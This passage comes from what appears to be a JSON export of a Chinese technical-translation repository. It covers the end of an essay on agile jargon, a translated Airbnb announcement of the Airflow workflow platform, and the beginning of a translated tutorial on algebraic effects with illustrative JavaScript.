这就是它给人的感觉：侵略。因为你的业务转型“专家”对组织动力学和变化心理学知之甚少。一个明显的例子是：当你宣布某人为“大师”时，你意识到你会立即遇到多大的阻力吗？尤其是当他们唯一精通的是为期两天的训练时！（出处同上）\n\n哦。我不敢告诉她，“教练”也是经过两天的训练后宣布的。我最近听到其中一位“教练”问道，“必须有一个非常好的项目经理才能进行敏捷工作吗？”  \n“是的，一个一流的项目经理、迭代经理、Scrum 大师，不管你怎么称呼他们，他说话温柔，但手握一根大棒！”   \n我已热泪盈眶。 \n\n我的一位客户在探索了广阔的认证领域后，创建了自己的认证系统。数十位 Scrum 大师和产品负责人自豪地在他们的工作空间中展示它：雅虎敏捷。 \n\n我们该何去何从？ \n\n## 对内政策 —— 敏捷世界中 \n\n对内政策是一项广泛而全面的战略，是一项具体的计划，甚至是一项管理内部事务的简单原则。 \n\n在这个敏捷扩展的业务转换时代，首先让我们澄清一下“敏捷 敏捷 敏捷”的含义。 \n\n为了说明什么应该是显而易见的，这里有一个简单的原则：任何“敏捷”都必须或隐或显地引用敏捷宣言的[四个价值观和 12 条原则](https://agilemanifesto.org)。它必须包含敏捷的“线索”。 \n\n我们必须回到未来，回到基础，回到根本。敏捷需要重启。“敏捷”团队应该定期回顾宣言和 12 条原则：这意味着什么？我们做得怎么样？我们如何才能继续朝着这个方向前进？\n\n它的部分含义是，如果我们自己的“敏捷”实践想要保持敏捷，就必须持续调整它们。“简单是必要的”（12 条原则）是一个敏捷的“线索”，我们必须畅饮自己的 Kool-Aid。 \n\n就是这么简单，[Dave Thomas](https://pragdave.me/blog/2014/03/04/time-to-kill-agile.html) 说：\n\n> 找出你在哪里。朝着你的目标迈出一小步。根据所学内容调整你的理解并重复。 \n\n类似地，Alistair Cockburn 的 [Heart of Agile](https://heartofagile.com/) 是一种基于简单框架的不可知论方法：协作、交付、反映和改进。Joshua Kerievsky 的 [Modern Agile](http://modernagile.org/) 基于四个简单的原则：让人变得优秀，把安全作为先决条件，快速地试验和学习，持续地传递价值。 \n\n## 对外政策 —— 敏捷世界外\n\n对外政策是一项广泛而全面的战略，是一项具体的计划，甚至是一项管理外部事务的简单原则。 \n\n在这个敏捷扩展的业务转换时代，其次让我们阐明“敏捷 敏捷 敏捷”的意图。 \n\n当像敏捷者这样的人群开拓其他土地时，文化冲突是不可避免的。 \n\n早期敏捷探险的特点是炮艇外交。例如，我们对项目管理的征服已经接近完。\n现在，我们遇到了一些奇怪的新领域，比如人力资源和组织心理学家，那些资历比我们高的人。  \n\n我们的对外政策是什么？我们认为自己是侵略者还是商人？ \n\n让我们警惕一种天真的、最终会自我失败的殖民主义，这种殖民主义假定我们是优越的，土著人需要为他们自己的利益和我们的利益而被文化熏陶。 \n\n相反，让我们警惕我们自己的同化，就像曾经可怕的维京人消失在传说的迷雾中一样。例如，我是世界各地越来越多的敏捷学家的一员，他们将敏捷与积极心理学、欣赏式探究和以焦点解决治疗相结合 —— 参见我的[焦点解决敏捷](http://sfio.org/journal/interaction-vol-10-no-2-janu-2019/page-5/)这篇文章。与此同时，越来越多的“敏捷者”完全放弃了“敏捷”，因为他们已经完全融入了其他世界。 \n\n我们整个企业的对外政策不是朝一个大熔炉而是一份沙拉的方向努力。 \n\n一个简单的冲突解决矩阵说明了这种方法（从[这里](http://www.cpp.com/en/tkiproducts.aspx?pc=62)改编而来）。我们的立场不是竞争（敏捷赢）也不是妥协（敏捷输），而是协作（业务赢）。\n\n![](https://res.infoq.com/articles/agile-agile-blah-blah/en/resources/agile%201-1560257874319.png)\n\n这是美第奇效应的一个例子。Frans Johansson 2006 年出版的《美第奇效应》对我的思维产生了颠覆性的影响。美第奇效应以一个在 14 世纪引发欧洲文艺复兴的意大利家族命名，指的是在不同学科、文化和行业的交叉领域发生的“大爆炸”式碰撞中迸发出来的突破性思维和颠覆性创新。这个想法引起了我的共鸣，因为我从小就在做大爆炸实验。 \n\n美第奇效应回答了我偶尔被问到的一个问题：为什么我很少参加敏捷活动？敏捷社区很重要。但是美第奇效应让我不断地超越我对人和事的认知界限。我很快发现，对我来说，启迪和突破更多的是由与军事家、宗教领袖、诗人、哲学家、生物学家和心理学家的互动所激发的。我一生的大部分工作都是把这些相关的，有时是不相关的学科之间的点连接起来，并尝试新的不同的工作方式。 \n\n## 总结\n\n跨学科研究、原则和实践是敏捷的未来。这使得我们与我们的根本保持联系变得更加重要，只要我们继续使用“敏捷”这个名字。请不要再说“敏捷 敏捷 敏捷”之类的话。 \n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/airflow-a-workflow-management-platform.md",
    "content": "> * 原文地址：[Airflow: a workflow management platform](https://medium.com/airbnb-engineering/airflow-a-workflow-management-platform-46318b977fd8)\n> * 原文作者：[Maxime Beauchemin](https://medium.com/@maximebeauchemin)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/airflow-a-workflow-management-platform.md](https://github.com/xitu/gold-miner/blob/master/TODO1/airflow-a-workflow-management-platform.md)\n> * 译者：[yqian1991](https://github.com/yqian1991)\n> * 校对者：[Park-ma](https://github.com/Park-ma) [DerekDick](https://github.com/DerekDick)\n\n# Airflow: 一个工作流程管理平台\n\n出自 [Maxime Beauchemin](https://medium.com/@maximebeauchemin)\n\n![](https://cdn-images-1.medium.com/max/800/0*277Imf2r7ouTXOVy.png)\n\n**Airbnb** 是一个快速增长的、数据启示型的公司。我们的数据团队和数据量都在快速地增长，同时我们所面临的挑战的复杂性也在同步增长。我们正在扩张的数据工程师、数据科学家和分析师团队在使用 **Airflow**，它是我们搭建的一个可以快速推进工作，保持发展优势的平台，因为我们可以自己编辑、监控和改写 **数据管道**。\n\n今天，我们非常自豪地宣布我们要 **开源** 和 **共享** 我们的工作流程管理平台：**Airflow**。\n\n[https://github.com/airbnb/airflow](https://github.com/apache/incubator-airflow)\n\n* * *\n\n### 有向无环图（DAGs）呈绽放之势\n\n当与数据打交道的工作人员开始将他们的流程自动化，那么写批处理作业是不可避免的。这些作业必须按照一个给定的时间安排执行，它们通常依赖于一组已有的数据集，并且其它的作业也会依赖于它们。即使你让好几个数据工作节点在一起工作很短的一段时间，用于计算的批处理作业也会很快地扩大成一个复杂的图。现在，如果有一个工作节奏快、中型规模的数据团队，而且他们在几年之内要面临不断改进的数据基础设施，并且手头上还有大量复杂的计算作业网络。那这个复杂性就成为数据团队需要处理，甚至深入了解的一个重要负担。\n\n这些作业网络通常就是 **有向无环图**（**DAGs**），它们具有以下属性：\n\n*   **已排程：** 每个作业应该按计划好的时间间隔运行\n*   **关键任务：** 如果一些作业没有运行，那我们就有麻烦了\n*   **演进：** 随着公司和数据团队的成熟，数据处理也会变得成熟\n*   **异质性：** 现代化的分析技术栈正在快速发生着改变，而且大多数公司都运行着好几个需要被粘合在一起的系统\n\n### 每个公司都有一个（或者多个）\n\n**工作流程管理** 已经成为一个常见的需求，因为大多数公司内部有多种创建和调度作业的方式。你总是可以从古老的 cron 调度器开始，并且很多供应商的开发包都自带调度功能。下一步就是创建脚本来调用其它的脚本，这在短期时间内是可以工作的。最终，一些为了解决作业状态存储和依赖的简单框架就涌现了。\n\n通常，这些解决方案都是 **被动增长** 的，它们都是为了响应特定作业调度需求的增长，而这通常也是因为现有的这种系统的变种连简单的扩展都做不到。同时也请注意，那些编写数据管道的人通常不是软件工程师，并且他们的任务和竞争力都是围绕着处理和分析数据的，而不是搭建工作流程管理系统。\n\n鉴于公司内部工作流程管理系统的成长总是比公司的需求落后至少一代，作业的编辑、调度和错误排查之间的 **摩擦** 制造了大量低效且令人沮丧的事情，这使得数据工作者和他们的高产出路线背道而驰。\n\n### Airflow\n\n在评审完开源解决方案，同时听取 Airbnb 的员工对他们过去使用的系统的见解后，我们得出的结论是市场上没有任何可以满足我们当前和未来需求的方案。我们决定搭建一个崭新的系统来正确地解决这个问题。随着这个项目的开发进展，我们意识到我们有一个极好的机会去回馈我们也极度依赖的开源社区。因此，我们决定依照 Apache 的许可开源这个项目。\n\n这里是 Airbnb 的一些靠 Airflow 推动的处理工序：\n\n*   **数据仓储：** 清洗、组织规划、数据质量检测并且将数据发布到我们持续增长的数据仓库中去\n*   **增长分析：** 计算关于住客和房主参与度的指标以及增长审计\n*   **试验：** 计算我们 A/B 测试试验框架的逻辑并进行合计\n*   **定向电子邮件：** 对目标使用规则并且通过群发邮件来吸引用户\n*   **会话（Sessionization）：** 计算点击流和停留时间的数据集\n*   **搜索：** 计算搜索排名相关的指标\n*   **数据基础架构维护：** 数据库抓取、文件夹清理以及应用数据留存策略...\n\n### 架构\n\n就像英语是商务活动经常使用的语言一样，Python 已经稳固地将自己树立为数据工作的语言。Airflow 从创建之初就是用 Python 编写的。代码库可扩展、文档齐全、风格一致、语法过检并且有很高的单元测试覆盖率。\n\n管道的编写也是用 Python 完成的，这意味着通过配置文件或者其他元数据进行动态管道生成是与生俱来的。“**配置即代码**” 是我们为了达到这个目的而坚守的准则。虽然基于 yaml 或者 json 的作业配置方式可以让我们用任何语言来生成 Airflow 数据管道，但是我们感觉到转化过程中的一些流动性丧失了。能够内省代码（ipython！和集成开发工具）子类和元程序并且使用导入的库来帮助编写数据管道为 Airflow 增加了巨大的价值。注意，只要你能写 Python 代码来解释配置，你还是可以用任何编程语言或者标记语言来编辑作业。\n\n你仅需几行命令就可以让 Airflow 运行起来，但是它的完整架构包含有下面这么多组件：\n\n*   **作业定义**，包含在源代码控制中。\n*   一个丰富的 **命令行工具** (命令行接口) 用来测试、运行、回填、描述和清理你的有向无环图的组成部件。\n*   一个 **web 应用程序**，用来浏览有向无环图的定义、依赖项、进度、元数据和日志。web 服务器打包在 Airflow 里面并且是基于 Python web 框架 Flask 构建的。\n*   一个 **元数据仓库**，通常是一个 MySQL 或者 Postgres 数据库，Airflow 可以用它来记录任务作业状态和其它持久化的信息。\n*   一组 **工作节点**，以分布式的方式运行作业的任务实例。\n*   **调度** 程序，触发准备运行的任务实例。\n\n### 可扩展性\n\nAirflow 自带各种与 Hive、Presto、MySQL、HDFS、Postgres 和 S3 这些常用系统交互的方法，并且允许你触发任意的脚本，基础模块也被设计得非常容易进行扩展。\n\n**Hooks** 被定义成外部系统的抽象并且共享同样的接口。Hooks 使用中心化的 vault 数据库将主机/端口/登录名/密码信息进行抽象并且提供了可供调用的方法来跟这些系统进行交互。\n\n**操作符** 利用 hooks 生成特定的任务，这些任务在实例化后就变成了数据流程中的节点。所有的操作符都派生自 BaseOperator 并且继承了一组丰富的属性和方法。三种主流的操作符分别是：\n\n*   执行 **动作** 的操作符, 或者通知其它系统去执行一个动作\n*   **转移** 操作符将数据从一个系统移动到另一个系统\n*   **传感器** 是一类特定的操作符，它们会一直运行直到满足了特定的条件\n\n**执行器（Executors）** 实现了一个接口，它可以让 Airflow 组件（命令行接口、调度器和 web 服务器）可以远程执行作业。目前，Airflow 自带一个 SequentialExecutor（用来做测试）、一个多线程的 LocalExecutor、一个使用了 [Celery](http://www.celeryproject.org/) 的 CeleryExecutor 和一个超棒的基于分布式消息传递的异步任务队列。我们也计划在不久后开源 YarnExecutor。\n\n### 一个绚丽的用户界面\n\n虽然 Airflow 提供了一个丰富的[命令行接口](https://airflow.apache.org/cli.html)，但是最好的工作流监控和交互办法还是使用 web 用户接口。你可以容易地图形化显示管道依赖项、查看进度、轻松获取日志、查阅相关代码、触发任务、修正 false positives/negatives 以及分析任务消耗的时间，同时你也能得到一个任务通常在每天什么时候结束的全面视图。用户界面也提供了一些管理功能：管理连接、池和暂停有向无环图的进程。\n\n![](https://cdn-images-1.medium.com/max/400/1*nbwR8O-CDH67fkHrXVDvYw.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*0Mask8UZw_aCsd_7JM2Rjw.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*JNOJotSnC3t0TIQC8gYcsg.png)\n\n![](https://cdn-images-1.medium.com/max/600/1*qqOg_8bMS_MzDgWSbgdtOw.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*rNaZuJ2168jvUYiEkdu1ww.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*ojItdtSC6etsUWOZIK8trw.png)\n\n锦上添花的是，用户界面有一个 [Data Profiling](https://airflow.apache.org/profiling.html) 区，可以让用户在注册好的连接上进行 SQL 查询、浏览结果集，同时也提供了创建和分享一些简单图表的方法。这个制图应用是由 [Highcharts](http://www.highcharts.com/)、[Flask Admin](https://flask-admin.readthedocs.org/en/v1.0.9/) 的增删改查接口以及 Airflow 的 [hooks](https://airflow.apache.org/code.html#hooks) 和 [宏](https://airflow.apache.org/code.html#macros)库混搭而成的。URL 参数可以传递给你图表中使用的 SQL，Airflow 的宏是通过 [Jinja templating](http://jinja.pocoo.org/) 的方式工作的。有了这些特性和查询功能，Airflow 用户可以很容易的创建和分享结果集和图表。\n\n![](https://cdn-images-1.medium.com/max/400/1*8SD5x-62kLVzZ9SSfAXKCg.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*2L-uvEnYDvf5FG3eMuknuQ.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*EbUXRyeS65GZTXbCPWrF7w.png)\n\n### 一种催化剂\n\n使用 Airflow 之后，Airbnb 的员工进行数据工作的生产率和热情提高了好几倍。管道的编写也加速了，监控和错误排查所花费的时间也显著减少了。更重要的是，这个平台允许人们从一个更高级别的抽象中去创建可重用的模块、计算框架以及服务。\n\n### 说得够多的了！\n\n我们已经通过一个启发式的教程把试用 Airflow 变得极其简单。想看到示例结果也只需要执行几个 shell 命令。看一看 [Airflow 文档](https://airflow.apache.org/) 的[快速上手](https://airflow.apache.org/start.html)和[教程](https://airflow.apache.org/tutorial.html)部分，你可以在几分钟之内就让你的 Airflow web 程序以及它自带的交互式实例跑起来！\n\n[https://github.com/airbnb/airflow](https://github.com/apache/incubator-airflow)\n\n![](https://cdn-images-1.medium.com/max/800/1*YsUOrWx3mRxZZljtc9xZyw.png)\n\n#### 在 [airbnb.io](http://airbnb.io) 上查看我们所有的开源项目并 在 Twitter 上关注我们：[@AirbnbEng](https://twitter.com/AirbnbEng) + [@AirbnbData](https://twitter.com/AirbnbData)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/algebraic-effects-for-the-rest-of-us.md",
    "content": "> * 原文地址：[Algebraic Effects for the Rest of Us](https://overreacted.io/algebraic-effects-for-the-rest-of-us/)\n> * 原文作者：[Dan Abramov](https://overreacted.io/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/algebraic-effects-for-the-rest-of-us.md](https://github.com/xitu/gold-miner/blob/master/TODO1/algebraic-effects-for-the-rest-of-us.md)\n> * 译者：[TiaossuP](https://github.com/TiaossuP)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234)、[Baddyo](https://github.com/Baddyo)\n\n# 写给大家的代数效应入门\n\n你听说过**代数效应**（**Algebraic Effects**）么？\n\n我第一次研究「它是什么」以及「我为何要关注它」的尝试以失败告终。我看了[一些](https://www.eff-lang.org/handlers-tutorial.pdf) [PDF](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/08/algeff-tr-2016-v2.pdf)，但最终我更加懵逼了。（其中有一些偏学术性质的 pdf 真是催眠。）\n\n但是我的同事 Sebastian [总](https://mobile.twitter.com/sebmarkbage/status/763792452289343490)[是](https://mobile.twitter.com/sebmarkbage/status/776883429400915968)[将其](https://mobile.twitter.com/sebmarkbage/status/776840575207116800)[称为](https://mobile.twitter.com/sebmarkbage/status/969279885276454912)我们在 React 内部的一些工作的心智模型（Sebastian 在 React 团队，并贡献出了 Hooks、Suspense 等创意）。从某个角度来说，这已经成了 React 团队内部的一个梗 —— 我们很多讨论都会以这张图结束：\n\n[![](https://overreacted.io/static/5fb19385d24afb94180b6ba9aeb2b8d4/79ad4/effects.jpg)](https://overreacted.io/static/5fb19385d24afb94180b6ba9aeb2b8d4/79ad4/effects.jpg) \n\n事实证明，代数效应是一个很酷的概念，并不像我从那些 pdf 看到得那样可怕。**如果你只是使用 React，你不需要了解它们 —— 但如果你像我一样，对其感到好奇，请继续阅读。**\n\n**（免责声明：我不是编程语言研究员、不是这个话题的权威人士，可能我这里的介绍有错漏，所以哪里有问题的话，请告诉我！）**\n\n### 暂时还不能投产\n\n**代数效应**是一个处在研究阶段的编程语言特性，这意味着其不像 if、functions、async / await 一样，你可能无法在生产环境真正用上它，它现在只被[几个](https://www.eff-lang.org/)[语言](https://www.microsoft.com/en-us/research/project/koka/)支持，而这几个语言是专门为了研究此概念而创造的。在 Ocaml 中实现代数效应的进展还处于[进行中状态](https://github.com/ocaml-multicore/ocaml-multicore/wiki)。换句话说，你碰不到它（原文：[Can’t Touch This](https://www.youtube.com/watch?v=otCpCn0l4Wo)）\n\n> 补充：一些人说 LISP 提供了[类似的功能]((https://overreacted.io/algebraic-effects-for-the-rest-of-us/#learn-more))，所以如果你写 LISP，就可以在生产环境中用上该功能了。\n\n### 所以我为啥关心它？\n\n想象你写 `goto` 的代码时，有人向你介绍了 `if` 与 `for` 语句，或者陷入回调地狱的你看到了 `async / await` —— 是不是碉堡了？\n\n如果你是那种在某些编程概念成为主流之前就乐于了解它们的人，那么现在可能是对代数效应感到好奇的好时机。不过这也不是必须的，这有点像 1999 年的 `async / await` 设想。\n\n### 好的，什么是代数效应？\n\n这个名称可能有点令人生畏，但这个思想其实很简单。如果你熟悉 `try / catch` 块，你会更容易大致理解代数效应。\n\n我们先来回顾一下 `try / catch`。假设你有一个会 throw 的函数。也许它和 `catch` 块之间还有很多层函数：\n\n```js\nfunction getName(user) {\n  let name = user.name;\n  if (name === null) {\n  \tthrow new Error('A girl has no name');  }\n  return name;\n}\n\nfunction makeFriends(user1, user2) {\n  user1.friendNames.add(getName(user2));\n  user2.friendNames.add(getName(user1));\n}\n\nconst arya = { name: null };\nconst gendry = { name: 'Gendry' };\ntry {\n  makeFriends(arya, gendry);\n} catch (err) {\n  console.log(\"Oops, that didn't work out: \", err);}\n```\n\n我们在 `getName` 里面 `throw`，但它「冒泡」到了离 `makeFriends` 最近的 `catch` 块。这是 `try / catch` 的一个重要属性。**调用的中间层不需要关心错误处理。**\n\n与 C 语言中的错误代码不同，通过 `try / catch`，您不必手动将 error 传递到每个中间层，以免丢失它们。它们会自动冒泡。\n\n### 这与代数效应有什么关系？\n\n在上面的例子中，一旦我们遇到错误，代码就无法继续执行。当我们最终进入 `catch` 块时，就无法再继续执行原始代码了。\n\n完蛋了，一步出错全盘皆输。这太晚了。我们顶多也就只能从失败中恢复过来，也许还可以通过某种方式重试我们正在做的事情，但不可能神奇地「回到」我们代码刚刚所处的位置，并做点儿别的事情。**但凭借代数效应，我们可以。**\n\n这是一个用假想的 JavaScript 方言编写的例子（为了搞事，让我们称其为 ES2025），让我们从缺失的 `user.name`「恢复」一下：\n\n```js\nfunction getName(user) {\n  let name = user.name;\n  if (name === null) {\n  \tname = perform 'ask_name';  \n  }\n  return name;\n}\n\nfunction makeFriends(user1, user2) {\n  user1.friendNames.add(getName(user2));\n  user2.friendNames.add(getName(user1));\n}\n\nconst arya = { name: null };\nconst gendry = { name: 'Gendry' };\ntry {\n  makeFriends(arya, gendry);\n} handle (effect) {\n  if (effect === 'ask_name') {\n    resume with 'Arya Stark'; \n  }\n}\n```\n\n**（我向 2025 年在网上搜索「ES2025」并找到这篇文章的所有读者致歉。如果未来代数效应成为了 JavaScript 的一部分，我很乐意更新这篇文章！）**\n\n我们使用一个假设的 `perform` 关键字代替 `throw`。同样，我们使用假想的 `try / handle` 语句来代替 `try / catch`。**确切的语法在这里并不重要 —— 我们只是随便编个语法来表达这个思想。**\n\n那么发生了什么？让我们仔细看看。\n\n我们 **perform** 了一个 **effect**，而不是 throw 一个 error。就像我们可以 `throw` 任何值一样，我们可以将任何值传给 `perform`。在这个例子中，我传入了一个字符串，但它可以是一个对象，或任何其他数据类型：\n\n```js\nfunction getName(user) {\n  let name = user.name;\n  if (name === null) {\n  \tname = perform 'ask_name';  \n  }\n  return name;\n}\n```\n\n当我们 `throw` 了一个 error 时，引擎会在调用堆栈中查找最接近的 `try / catch` error handler。类似地，当我们 `perform` 了一个 effect 时，引擎会在调用堆栈中搜索最接近的 `try / handle` **effect handler**。\n\n```js\ntry {\n  makeFriends(arya, gendry);\n} handle (effect) {\n  if (effect === 'ask_name') {\n  \tresume with 'Arya Stark';\n  }\n}\n```\n\n这个 effect 让我们决定如何处理缺少 name 的情况。这里的假想语法（对应错误处理）是 `resume with`：\n\n```js\ntry {\n  makeFriends(arya, gendry);\n} handle (effect) {\n  if (effect === 'ask_name') {\n  \tresume with 'Arya Stark';  \n  }\n}\n```\n\n这可是你用 `try / catch` 做不到的事情。它允许我们**跳回到我们 perform effect 的位置，并从 handler 传回一些东西**。🤯\n\n```js\nfunction getName(user) {\n  let name = user.name;\n  if (name === null) {\n  \t// 1. 我们在这里 perform 了一个 effect：name = perform 'ask_name';\n  \t// 4. …… 然后最终回到了这里（name 现在是「Arya Stark」了 \n  }\n  return name;\n}\n\n// ...\n\ntry {\n  makeFriends(arya, gendry);\n} handle (effect) {\n  // 2. 我们跳到了handler（就像 try/catch）\n  if (effect === 'ask_name') {\n  \t// 3. 然而我们可以 resume with 一个值（这就不像 try / catch 了！）\n  \tresume with 'Arya Stark';\n  }\n}\n```\n\n这需要你花一些时间来适应，但它在概念上与「可恢复的 `try / catch`」没有太大的不同。\n\n但是请注意，**代数效应要比 try / catch 更灵活，并且可恢复的错误只是许多可能的用例之一**。我从这个角度开始介绍只是因为这是最容易理解的方式。\n\n### 不会染色的函数\n\n代数效应对异步代码有非常有趣的价值。\n\n在具有 `async / await` 的语言中，[函数通常具有「颜色」](https://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/)。例如，在 JavaScript 中，我们不能将 `getName` 标识为异步，但不为其调用者 `makeFriends` 及 `makeFriends` 的调用者增加 `async` 关键字。一段代码有时需要同步、有时需要异步时，开发起来其实会比较痛苦。\n\n```js\n// 如果我们想在这里加一个 async 关键字\nasync getName(user) {\n  // ...\n}\n\n// 那么这里也就必须也是 async 了……\nasync function makeFriends(user1, user2) {\n  user1.friendNames.add(await getName(user2));\n  user2.friendNames.add(await getName(user1));\n}\n\n// 以此类推……\n```\n\nJavaScript 的 generator [同样类似](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*)：如果你用了 generator，那么中间层也都得改为 generator 形式了。\n\n那这跟代数效应有什么关系？\n\n让我们暂时忘记 `async / await` 并回到我们的例子：\n\n```js\nfunction getName(user) {\n  let name = user.name;\n  if (name === null) {\n  \tname = perform 'ask_name';  \n  }\n  return name;\n}\n\nfunction makeFriends(user1, user2) {\n  user1.friendNames.add(getName(user2));\n  user2.friendNames.add(getName(user1));\n}\n\nconst arya = { name: null };\nconst gendry = { name: 'Gendry' };\ntry {\n  makeFriends(arya, gendry);\n} handle (effect) {\n  if (effect === 'ask_name') {\n    resume with 'Arya Stark';\n  }\n}\n```\n\n如果我们的 effect handler 不能同步返回「fallback name」怎么办？如果我们想从数据库中获取它会怎么样？\n\n事实证明，我们在 effect handler 中异步调用 `resume with`，无需对 `getName` 和 `makeFriends` 做任何修改：\n\n```js\nfunction getName(user) {\n  let name = user.name;\n  if (name === null) {\n  \tname = perform 'ask_name';\n  }\n  return name;\n}\n\nfunction makeFriends(user1, user2) {\n  user1.friendNames.add(getName(user2));\n  user2.friendNames.add(getName(user1));\n}\n\nconst arya = { name: null };\nconst gendry = { name: 'Gendry' };\ntry {\n  makeFriends(arya, gendry);\n} handle (effect) {\n  if (effect === 'ask_name') {\n    setTimeout(() => {\n      resume with 'Arya Stark';\n    }, 1000);\n  }\n}\n```\n\n在这个例子中，我们在 1 秒后，才调用了 `resume with`。您可以将 `resume with` 视为一个只调用一次的回调。（你也可以通过称它为「限定单次延续（one-shot delimited continuation）」来将其安利给你的朋友。）\n\n现在代数效应的机制应该更清晰一些了。当我们 `throw` 了一个 error 时，JavaScript 引擎会「展开堆栈（unwind the stack）」，破坏进程中的局部变量。但是，当我们 `perform` 了一个 effect 时，我们的假设引擎将使用我们的其余函数「创建一个回调」，并用 `resume with` 调用它。\n\n**再次提醒：这些语法和特定的关键字是本文专用的。它们不是重点，重点在于理解机制本身。**\n\n### 关于纯函数的贴士\n\n值得注意的是，代数效应来自函数式编程研究。他们解决的一些问题是纯函数式编程所特有的。例如，那些**不允许**随意副作用的语言（比如 Haskell），你必须使用 Monads 之类的概念来将其适配到你的程序中。如果您曾阅读过 Monad 教程，您会发现这些概念有点难以理解。代数效应有助于做更少的仪式性代码。\n\n这就是为什么关于代数效应的诸多讨论对我来说都是晦涩难懂的。（我之前并[不知道](https://overreacted.io/things-i-dont-know-as-of-2018/) Haskell 和它的小伙伴们）但是，我认为，即使是像 JavaScript 这样的非纯函数式语言，**代数效应仍然是一个非常强力的工具，它可以帮你分离代码中的「做什么」与「怎么做」**\n\n它们使你能够专注于写「做什么」的代码：\n\n```js\nfunction enumerateFiles(dir) {\n  const contents = perform OpenDirectory(dir);\n  perform Log('Enumerating files in ', dir);\n  for (let file of contents.files) {\n  \tperform HandleFile(file);\n  }\n  perform Log('Enumerating subdirectories in ', dir);\n  for (let directory of contents.dir) {\n  \t// 我们可以使用递归，或调用其他具有 effect 的函数\n  \tenumerateFiles(directory);\n  }\n  perform Log('Done');\n}\n```\n\n然后用一些描述「怎么做」的代码将其包裹起来。\n\n```js\nlet files = [];\ntry {\n  enumerateFiles('C:\\\\');\n} handle (effect) {\n  if (effect instanceof Log) {\n  \tmyLoggingLibrary.log(effect.message);\n  \tresume;\n  } else if (effect instanceof OpenDirectory) {\n  \tmyFileSystemImpl.openDir(effect.dirName, (contents) => {\n      resume with contents;\n    });\n  } else if (effect instanceof HandleFile) {\n    files.push(effect.fileName);\n    resume;\n  }\n}\n// `files` 数组现在有所有文件了\n```\n\n这意味着还可以将其封装为库：\n\n```js\nimport { withMyLoggingLibrary } from 'my-log';\nimport { withMyFileSystem } from 'my-fs';\n\nfunction ourProgram() {\n  enumerateFiles('C:\\\\');\n}\n\nwithMyLoggingLibrary(() => {\n  withMyFileSystem(() => {\n    ourProgram();\n  });\n});\n```\n\n与 `async / await`、Generator 不同，**代数效应不需要「中间层函数」做相应适配**。我们的 `enumerateFiles` 可能在 `ourProgram` 的很深层被调用，但只要**外层**有一个 effect handler 为每一个 effect 提供对应的 perform，我们的代码就仍然可以工作。\n\nEffect handler 让我们可以将程序逻辑与其具体的 effect 实现分离，而无需过多的仪式性代码或样板代码。例如，我们可以完全重载测试中的行为，使用假文件系统，或者用快照日志代替 console 输出：\n\n```js\nimport { withFakeFileSystem } from 'fake-fs';\n\nfunction withLogSnapshot(fn) {\n  let logs = [];\n  try {\n  \tfn();\n  } handle (effect) {\n  \tif (effect instanceof Log) {\n  \t  logs.push(effect.message);\n  \t  resume;\n  \t}\n  }\n  // 快照触发日志\n  expect(logs).toMatchSnapshot();\n}\n\ntest('my program', () => {\n  const fakeFiles = [/* ... */];\n  withFakeFileSystem(fakeFiles, () => {\n    withLogSnapshot(() => {\n      ourProgram();\n    });\n  });\n});\n```\n\n因为没有[「函数颜色」](https://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/)（中间的代码不需要知道 effect ）并且 effect handler 是**可组合的**（您可以嵌套它们），所以您可以使用它们创建非常富有表现力的抽象。\n\n### 关于类型的注意点\n\n由于代数效应这一概念来自静态类型语言，因此关于它们的大部分争论都集中在它们如何用类型表达上。这无疑是重要的，但也可能使掌握这一概念变得具有挑战性。这就是这篇文章根本不讨论类型的原因。但是，我应该指出，如果一个函数可以 preform 一个 effect 的话，则可以将其编码到类型签名中。所以，就不应该出现一个随机 